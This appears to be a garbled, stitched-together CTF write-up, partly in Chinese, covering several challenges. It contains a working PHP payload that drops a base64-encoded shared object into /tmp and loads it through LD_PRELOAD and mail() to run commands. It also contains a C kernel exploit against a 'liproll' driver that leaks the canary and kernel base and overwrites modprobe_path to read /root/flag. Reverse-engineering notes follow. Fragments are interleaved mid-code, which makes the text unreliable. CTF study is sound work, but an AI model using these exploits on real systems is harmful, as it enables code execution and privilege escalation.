$so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AABwEQAAAAAAADARAAAAAAAAAQAAAA'; $so = $so.'AAAAB8AAAAAAAAAAwAAAAAAAAAABAA'; $so = $so.'AAAAAAANAAAAAAAAAMgRAAAAAAAAGQ'; $so = $so.'AAAAAAAAAQPgAAAAAAABsAAAAAAAAA'; $so = $so.'CAAAAAAAAAAaAAAAAAAAABg+AAAAAA'; $so = $so.'AAHAAAAAAAAAAIAAAAAAAAAPX+/28A'; $so = $so.'AAAA8AIAAAAAAAAFAAAAAAAAAAgEAA'; $so = $so.'AAAAAABgAAAAAAAAAYAwAAAAAAAAoA'; $so = $so.'AAAAAAAAkgAAAAAAAAALAAAAAAAAAB'; $so = $so.'gAAAAAAAAAAwAAAAAAAAAAQAAAAAAA'; $so = $so.'AAIAAAAAAAAAYAAAAAAAAAAUAAAAAA'; $so = $so.'AAAAcAAAAAAAAAFwAAAAAAAAB4BQAA'; $so = $so.'AAAAAAcAAAAAAAAA0AQAAAAAAAAIAA'; $so = $so.'AAAAAAAKgAAAAAAAAACQAAAAAAAAAY'; $so = $so.'AAAAAAAAAP7//28AAAAAsAQAAAAAAA'; $so = $so.'D///9vAAAAAAEAAAAAAAAA8P//bwAA'; $so = $so.'AACaBAAAAAAAAPn//28AAAAAAwAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAID4AAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAMBAAAAAAAABAEAAAAAAAAFAQ'; $so = $so.'AAAAAAAAYBAAAAAAAAA4QAAAAAAAAE'; $so = $so.'dDQzogKFVidW50dSA5LjMuMC0xN3Vi'; $so = $so.'dW50dTF+MjAuMDQpIDkuMy4wAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAADAAEAqAIAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAADAAIAyAIAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAADAAMA8AIAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAADAAQAGAMAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAADAAUACAQAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAADAAYAmgQA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAADAAcAsA'; $so = $so.'QAAAAAAAAAAAAAAAAAAAAAAAADAAgA'; $so = $so.'0AQAAAAAAAAAAAAAAAAAAAAAAAADAA'; $so = $so.'kAeAUAAAAAAAAAAAAAAAAAAAAAAAAD'; $so = $so.'AAoAABAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'ADAAsAIBAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAADAAwAcBAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAADAA0AgBAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAADAA4AwBAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAADAA8AyBEAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAADABAAACAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAADABEAGCAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAADABIAUCAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAADABMAED4AAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAADABQAGD4AAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAADABUAID4A'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAADABYA4D'; $so = $so.'8AAAAAAAAAAAAAAAAAAAAAAAADABcA'; $so = $so.'AEAAAAAAAAAAAAAAAAAAAAAAAAADAB'; $so = $so.'gAOEAAAAAAAAAAAAAAAAAAAAAAAAAD'; $so = $so.'ABkAQEAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'ADABoAAAAAAAAAAAAAAAAAAAAAAAEA'; $so = $so.'AAAEAPH/AAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'wAAAACAA4AwBAAAAAAAAAAAAAAAAAA'; $so = $so.'AA4AAAACAA4A8BAAAAAAAAAAAAAAAA'; $so = $so.'AAACEAAAACAA4AMBEAAAAAAAAAAAAA'; $so = $so.'AAAAADcAAAABABkAQEAAAAAAAAABAA'; $so = $so.'AAAAAAAEYAAAABABQAGD4AAAAAAAAA'; $so = $so.'AAAAAAAAAG0AAAACAA4AcBEAAAAAAA'; $so = $so.'AAAAAAAAAAAHkAAAABABMAED4AAAAA'; $so = $so.'AAAAAAAAAAAAAJgAAAAEAPH/AAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAEAAAAEAPH/AAAA'; $so = $so.'AAAAAAAAAAAAAAAAAJwAAAABABIAAC'; $so = $so.'EAAAAAAAAAAAAAAAAAAAAAAAAEAPH/'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAKoAAAACAA'; $so = $so.'8AyBEAAAAAAAAAAAAAAAAAALAAAAAB'; $so = $so.'ABgAOEAAAAAAAAAAAAAAAAAAAL0AAA'; $so = $so.'ABABUAID4AAAAAAAAAAAAAAAAAAMYA'; $so = $so.'AAAAABEAGCAAAAAAAAAAAAAAAAAAAN'; $so = $so.'kAAAABABgAQEAAAAAAAAAAAAAAAAAA'; $so = $so.'AOUAAAABABcAAEAAAAAAAAAAAAAAAA'; $so = $so.'AAAPsAAAACAAoAABAAAAAAAAAAAAAA'; $so = $so.'AAAAAAEBAAASAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAABUBAAAgAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAADEBAAASAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAEUBAAAgAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAFQBAAASAA4AkBEAAA'; $so = $so.'AAAAA4AAAAAAAAAFwBAAASAA4AeREA'; $so = $so.'AAAAAAAXAAAAAAAAAGQBAAASAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAHoBAAAgAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAJQBAAAiAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAABjcnRz'; $so = $so.'dHVmZi5jAGRlcmVnaXN0ZXJfdG1fY2'; $so = $so.'xvbmVzAF9fZG9fZ2xvYmFsX2R0b3Jz'; $so = $so.'X2F1eABjb21wbGV0ZWQuODA2MABfX2'; $so = $so.'RvX2dsb2JhbF9kdG9yc19hdXhfZmlu'; $so = $so.'aV9hcnJheV9lbnRyeQBmcmFtZV9kdW'; $so = $so.'1teQBfX2ZyYW1lX2R1bW15X2luaXRf'; $so = $so.'YXJyYXlfZW50cnkAMS5jAF9fRlJBTU'; $so = $so.'VfRU5EX18AX2ZpbmkAX19kc29faGFu'; $so = $so.'ZGxlAF9EWU5BTUlDAF9fR05VX0VIX0'; $so = $so.'ZSQU1FX0hEUgBfX1RNQ19FTkRfXwBf'; $so = $so.'R0xPQkFMX09GRlNFVF9UQUJMRV8AX2'; $so = $so.'luaXQAZ2V0ZW52QEBHTElCQ18yLjIu'; $so = $so.'NQBfSVRNX2RlcmVnaXN0ZXJUTUNsb2'; $so = $so.'5lVGFibGUAc3lzdGVtQEBHTElCQ18y'; $so = $so.'LjIuNQBfX2dtb25fc3RhcnRfXwBnZX'; $so = $so.'RldWlkAHBheWxvYWQAdW5zZXRlbnZA'; $so = $so.'QEdMSUJDXzIuMi41AF9JVE1fcmVnaX'; $so = $so.'N0ZXJUTUNsb25lVGFibGUAX19jeGFf'; $so = $so.'ZmluYWxpemVAQEdMSUJDXzIuMi41AA'; $so = $so.'Auc3ltdGFiAC5zdHJ0YWIALnNoc3Ry'; $so = $so.'dGFiAC5ub3RlLmdudS5wcm9wZXJ0eQ'; $so = $so.'Aubm90ZS5nbnUuYnVpbGQtaWQALmdu'; $so = $so.'dS5oYXNoAC5keW5zeW0ALmR5bnN0cg'; $so = $so.'AuZ251LnZlcnNpb24ALmdudS52ZXJz'; $so = $so.'aW9uX3IALnJlbGEuZHluAC5yZWxhLn'; $so = $so.'BsdAAuaW5pdAAucGx0LmdvdAAucGx0'; $so = $so.'LnNlYwAudGV4dAAuZmluaQAucm9kYX'; $so = $so.'RhAC5laF9mcmFtZV9oZHIALmVoX2Zy'; $so = $so.'YW1lAC5pbml0X2FycmF5AC5maW5pX2'; $so = $so.'FycmF5AC5keW5hbWljAC5nb3QucGx0'; $so = $so.'AC5kYXRhAC5ic3MALmNvbW1lbnQAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAAAAABsA'; $so = $so.'AAAHAAAAAgAAAAAAAACoAgAAAAAAAK'; $so = $so.'gCAAAAAAAAIAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAgAAAAAAAAAAAAAAAAAAAAuAAAABw'; $so = $so.'AAAAIAAAAAAAAAyAIAAAAAAADIAgAA'; $so = $so.'AAAAACQAAAAAAAAAAAAAAAAAAAAEAA'; $so = $so.'AAAAAAAAAAAAAAAAAAQQAAAPb//28C'; $so = $so.'AAAAAAAAAPACAAAAAAAA8AIAAAAAAA'; $so = $so.'AoAAAAAAAAAAQAAAAAAAAACAAAAAAA'; $so = $so.'AAAAAAAAAAAAAEsAAAALAAAAAgAAAA'; $so = $so.'AAAAAYAwAAAAAAABgDAAAAAAAA8AAA'; $so = $so.'AAAAAAAFAAAAAQAAAAgAAAAAAAAAGA'; $so = $so.'AAAAAAAABTAAAAAwAAAAIAAAAAAAAA'; $so = $so.'CAQAAAAAAAAIBAAAAAAAAJIAAAAAAA'; $so = $so.'AAAAAAAAAAAAABAAAAAAAAAAAAAAAA'; $so = $so.'AAAAWwAAAP///28CAAAAAAAAAJoEAA'; $so = $so.'AAAAAAmgQAAAAAAAAUAAAAAAAAAAQA'; $so = $so.'AAAAAAAAAgAAAAAAAAACAAAAAAAAAG'; $so = $so.'gAAAD+//9vAgAAAAAAAACwBAAAAAAA'; $so = $so.'ALAEAAAAAAAAIAAAAAAAAAAFAAAAAQ'; $so = $so.'AAAAgAAAAAAAAAAAAAAAAAAAB3AAAA'; $so = $so.'BAAAAAIAAAAAAAAA0AQAAAAAAADQBA'; $so = $so.'AAAAAAAKgAAAAAAAAABAAAAAAAAAAI'; $so = $so.'AAAAAAAAABgAAAAAAAAAgQAAAAQAAA'; $so = $so.'BCAAAAAAAAAHgFAAAAAAAAeAUAAAAA'; $so = $so.'AABgAAAAAAAAAAQAAAAXAAAACAAAAA'; $so = $so.'AAAAAYAAAAAAAAAIsAAAABAAAABgAA'; $so = $so.'AAAAAAAAEAAAAAAAAAAQAAAAAAAAGw'; $so = $so.'AAAAAAAAAAAAAAAAAAAAQAAAAAAAAA'; $so = $so.'AAAAAAAAAACGAAAAAQAAAAYAAAAAAA'; $so = $so.'AAIBAAAAAAAAAgEAAAAAAAAFAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAQAAAAAAAAABAAAA'; $so = $so.'AAAAAAkQAAAAEAAAAGAAAAAAAAAHAQ'; $so = $so.'AAAAAAAAcBAAAAAAAAAQAAAAAAAAAA'; $so = $so.'AAAAAAAAAAEAAAAAAAAAAQAAAAAAAA'; $so = $so.'AJoAAAABAAAABgAAAAAAAACAEAAAAA'; $so = $so.'AAAIAQAAAAAAAAQAAAAAAAAAAAAAAA'; $so = $so.'AAAAABAAAAAAAAAAEAAAAAAAAACjAA'; $so = $so.'AAAQAAAAYAAAAAAAAAwBAAAAAAAADA'; $so = $so.'EAAAAAAAAAgBAAAAAAAAAAAAAAAAAA'; $so = $so.'AQAAAAAAAAAAAAAAAAAAAAqQAAAAEA'; $so = $so.'AAAGAAAAAAAAAMgRAAAAAAAAyBEAAA'; $so = $so.'AAAAANAAAAAAAAAAAAAAAAAAAABAAA'; $so = $so.'AAAAAAAAAAAAAAAAAK8AAAABAAAAAg'; $so = $so.'AAAAAAAAAAIAAAAAAAAAAgAAAAAAAA'; $so = $so.'FQAAAAAAAAAAAAAAAAAAAAEAAAAAAA'; $so = $so.'AAAAAAAAAAAAC3AAAAAQAAAAIAAAAA'; $so = $so.'AAAAGCAAAAAAAAAYIAAAAAAAADQAAA'; $so = $so.'AAAAAAAAAAAAAAAAAEAAAAAAAAAAAA'; $so = $so.'AAAAAAAAxQAAAAEAAAACAAAAAAAAAF'; $so = $so.'AgAAAAAAAAUCAAAAAAAAC0AAAAAAAA'; $so = $so.'AAAAAAAAAAAACAAAAAAAAAAAAAAAAA'; $so = $so.'AAAM8AAAAOAAAAAwAAAAAAAAAQPgAA'; $so = $so.'AAAAABAuAAAAAAAACAAAAAAAAAAAAA'; $so = $so.'AAAAAAAAgAAAAAAAAACAAAAAAAAADb'; $so = $so.'AAAADwAAAAMAAAAAAAAAGD4AAAAAAA'; $so = $so.'AYLgAAAAAAAAgAAAAAAAAAAAAAAAAA'; $so = $so.'AAAIAAAAAAAAAAgAAAAAAAAA5wAAAA'; $so = $so.'YAAAADAAAAAAAAACA+AAAAAAAAIC4A'; $so = $so.'AAAAAADAAQAAAAAAAAUAAAAAAAAACA'; $so = $so.'AAAAAAAAAQAAAAAAAAAJUAAAABAAAA'; $so = $so.'AwAAAAAAAADgPwAAAAAAAOAvAAAAAA'; $so = $so.'AAIAAAAAAAAAAAAAAAAAAAAAgAAAAA'; $so = $so.'AAAACAAAAAAAAADwAAAAAQAAAAMAAA'; $so = $so.'AAAAAAAEAAAAAAAAAAMAAAAAAAADgA'; $so = $so.'AAAAAAAAAAAAAAAAAAAIAAAAAAAAAA'; $so = $so.'gAAAAAAAAA+QAAAAEAAAADAAAAAAAA'; $so = $so.'ADhAAAAAAAAAODAAAAAAAAAIAAAAAA'; $so = $so.'AAAAAAAAAAAAAACAAAAAAAAAAAAAAA'; $so = $so.'AAAAAP8AAAAIAAAAAwAAAAAAAABAQA'; $so = $so.'AAAAAAAEAwAAAAAAAACAAAAAAAAAAA'; $so = $so.'AAAAAAAAAAEAAAAAAAAAAAAAAAAAAA'; $so = $so.'AEAQAAAQAAADAAAAAAAAAAAAAAAAAA'; liproll $so = $so.'AABAMAAAAAAAACoAAAAAAAAAAAAAAA'; $so = $so.'AAAAABAAAAAAAAAAEAAAAAAAAAAQAA'; $so = $so.'AAIAAAAAAAAAAAAAAAAAAAAAAAAAcD'; $so = $so.'AAAAAAAAAoBQAAAAAAABwAAAAuAAAA'; $so = $so.'CAAAAAAAAAAYAAAAAAAAAAkAAAADAA'; $so = $so.'AAAAAAAAAAAAAAAAAAAAAAAJg1AAAA'; $so = $so.'AAAAsAEAAAAAAAAAAAAAAAAAAAEAAA'; $so = $so.'AAAAAAAAAAAAAAAAARAAAAAwAAAAAA'; $so = $so.'AAAAAAAAAAAAAAAAAABINwAAAAAAAA'; $so = $so.'0BAAAAAAAAAAAAAAAAAAABAAAAAAAA'; $so = $so.'AAAAAAAAAAAA'; $so = base64_decode($so); file_put_contents("/tmp/1.so",$so); putenv("LD_PRELOAD=/tmp/1.so"); mail("[email protected]","","","",""); #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <sched.h> #include <errno.h> #include <pty.h> #include <sys/mman.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/syscall.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/ipc.h> #include <sys/sem.h> #include <signal.h> #define KERNCALL __attribute__((regparm(3))) #define _GNU_SOURCE long int data[0x400]; void create(int fd){ ioctl(fd,0xD3C7F03); } void choose(int fd,long int index){ long int arg[1]={index}; ioctl(fd,0xD3C7F04,arg); } void reset(int fd){ ioctl(fd,0xD3C7F02,index); } void cast(int fd,long int* data,long int size){ long int arg[2]={data,size}; ioctl(fd,0xD3C7F01,arg); } void info(){ for(int i=0;i<=60;i++){ printf("%016llx | %016llx\n",data[2*i],data[2*i+1]); } } void shell(){ system("/bin/sh"); } unsigned long user_cs, user_ss, user_eflags,user_sp ; void save_status() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %3\n" "pushfq\n" "popq %2\n" :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp) : : "memory" ); } size_t magic_read(int fd,size_t addr){ data[0x100/8]=addr; cast(fd,data,0x108); read(fd,data,8); return data[0]; } size_t magic_write(int fd,size_t addr){ data[0x100/8]=addr; cast(fd,data,0x108); memcpy(data,"/tmp/magic.sh\x00",14); cast(fd,data,0x10); return data[0]; } int fd,fd2; int main(){ save_status(); signal(SIGSEGV, shell); /exp echo -ne '#!/bin/sh\n/bin/cp /root/flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/magic.sh echo -ne '\xff\xff\xff\xff' > /tmp/123 chmod +x /tmp/magic.sh chmod +x /tmp/123 /tmp/123 cat /tmp/flag Reverse jumpjump fd=open("/dev/liproll",0); create(fd); choose(fd,0); read(fd,data,0x200); size_t canary=data[32]; size_t kernel=data[52]-0x20007c; info(); printf("[+]Leaked: %llx %llx\n",canary,kernel); magic_write(fd,kernel+0x1448460); //printf("[+]Leaked: %llx\n",cc_off); } x=[0x00000009, 0x0000000B, 0x00000006, 0x0000005A, 0x0000005B, 0x0000000A, 0x00000054, 0x00000005, 0x0000004D, 0x00000057, 0x00000056, 0x00000054, 0x0000000B, 0x0000004D, 0x00000054, 0x00000009, 0x00000055, 0x00000040, 0x0000004D, 0x00000009, 0x00000006, 0x00000059, 0x0000000B, 0x0000004D, 0x00000055, 0x00000054, 0x00000058, 0x00000057, 0x0000005B, 0x00000009, 0x0000000B, 0x00000040, 0x00000005, 0x0000000A, 0x00000005, 0x00000009] for i in x: print(chr(((i ^ 0x33) - 4) ^ 0x57), end='') #acf23b4e-764c-4a58-af1c-54073ac8ebea baby_spear 通过OfficeMal获得宏脚本,先尝试⿊盒。Procmon发现宏试图读$TEMP\lsc.key⽂件来解密,对应宏代 码如下: 解密可得ID0ntWantT0SetTheWor1dOnFIRE。不过Parapluie.exe并没有释放,尝试对 advapi32!CryptDecrypt下断,可以提出内存中的PE: 根据提示爆破seed,AES解密得到flag No Name 修改删除DEX的部分,重新打包拿到解密后的DEX white give 把那⼀堆常数的类型设置成const可以⾃动优化⼀些东⻄ 先把输⼊每4个⼀组做sha256存到buf数组⾥ 然后256个字节为⼀组去⼀个运算,先sbox,之后跑了⼀个表做亦或,倒回来即可 rnd_table = '''26 27 F6 85 97 15 AD 1D D2 94 DD C4 76 19 39 31 F1 AD B5 58 F0 93 97 32 19 2B D1 C0 FD 16 8E 4E 48 9B 0B F5 3B 49 A8 63 5D DE 3F DF 6D 68 B4 87 9A AA CD DC F7 C1 44 81 29 08 1B 40 62 38 30 4E 94 D4 11 D0 DE C4 11 9D 4B 3F 9C 46 BB EF C7 54 21 50 2B D0 EF 5A F4 09 CF 5F 35 91 94 36 7F 89 70 99 B1 1E 67 CC 11 54 03 7F 9C 03 4A F6 9B 1E ED 67 77 3B C2 A4 CE 50 74 F9 C6 BB 7A 58 A2 86 45 B3 93 E8 BE AA D0 0F EF 66 E8 1C 00 C5 57 70 66 B7 58 26 57 E8 FB E0 81 9F 77 C7 FB E6 C1 CD 7C EB 5E 36 CB A6 75 56 76 BC 28 9C C7 A3 24 CF F4 07 77 98 96 6D A3 41 5C 17 F0 BC 01 27 06 E7 7B 07 BA 0E 76 07 29 B1 00 48 03 88 86 DA 2A C5 FF 21 7C 99 67 7D EC F9 6F 29 D8 A2 73 64 97 5B AC CF 51 7A A7 17 